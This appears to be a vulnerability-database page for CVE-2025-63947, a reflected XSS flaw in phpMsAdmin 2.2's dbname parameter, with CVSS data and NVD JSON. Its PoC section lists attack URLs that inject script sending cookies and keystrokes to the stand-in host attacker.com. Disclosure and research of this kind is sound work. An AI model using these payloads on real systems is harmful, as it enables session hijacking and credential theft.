Security Vulnerability Report
中文
CVE-2025-63947 CVSS 5.4 MEDIUM

CVE-2025-63947

Published: 2025-12-18 21:15:55
Last Modified: 2026-01-06 21:15:43

Description

A Reflected Cross-Site Scripting (XSS) vulnerability exists in phpMsAdmin version 2.2 in the database_mode.php file. An attacker can execute arbitrary web script or HTML via the dbname parameter after a user is authenticated.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:craigtaub:phpmsadmin:2.2:*:*:*:*:*:*:* - VULNERABLE
phpMsAdmin 2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-63947 Reflected XSS PoC for phpMsAdmin 2.2 --> <!-- Target: database_mode.php dbname parameter --> <!-- Basic XSS PoC --> http://target.com/phpmsadmin/database_mode.php?dbname=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E <!-- Cookie Stealing PoC --> http://target.com/phpmsadmin/database_mode.php?dbname=%3Cscript%3Edocument.location=%27http://attacker.com/steal.php?c=%27+document.cookie%3C/script%3E <!-- Keylogger PoC --> http://target.com/phpmsadmin/database_mode.php?dbname=%3Cscript%3Edocument.onkeypress=function(e){new%20Image().src=%27http://attacker.com/log.php?k=%27+String.fromCharCode(e.keyCode)}%3C/script%3E <!-- Stored session data exfiltration --> http://target.com/phpmsadmin/database_mode.php?dbname=%3Cscript%3Efetch(%27http://attacker.com/exfil?data=%27+btoa(document.cookie))%3C/script%3E

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63947", "sourceIdentifier": "[email protected]", "published": "2025-12-18T21:15:54.533", "lastModified": "2026-01-06T21:15:43.400", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Reflected Cross-Site Scripting (XSS) vulnerability exists in phpMsAdmin version 2.2 in the database_mode.php file. An attacker can execute arbitrary web script or HTML via the dbname parameter after a user is authenticated."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:craigtaub:phpmsadmin:2.2:*:*:*:*:*:*:*", "matchCriteriaId": "1492534D-4FBA-474F-ACA9-1144166F6DDA"}]}]}], "references": [{"url": "https://github.com/solonbarroso/vulnerability-research/blob/main/advisories/phpMsAdmin/CVE-2025-63947.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/solonbarroso/vulnerability-research/blob/main/advisories/phpMsAdmin/CVE-pending-phpMsAdmin.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}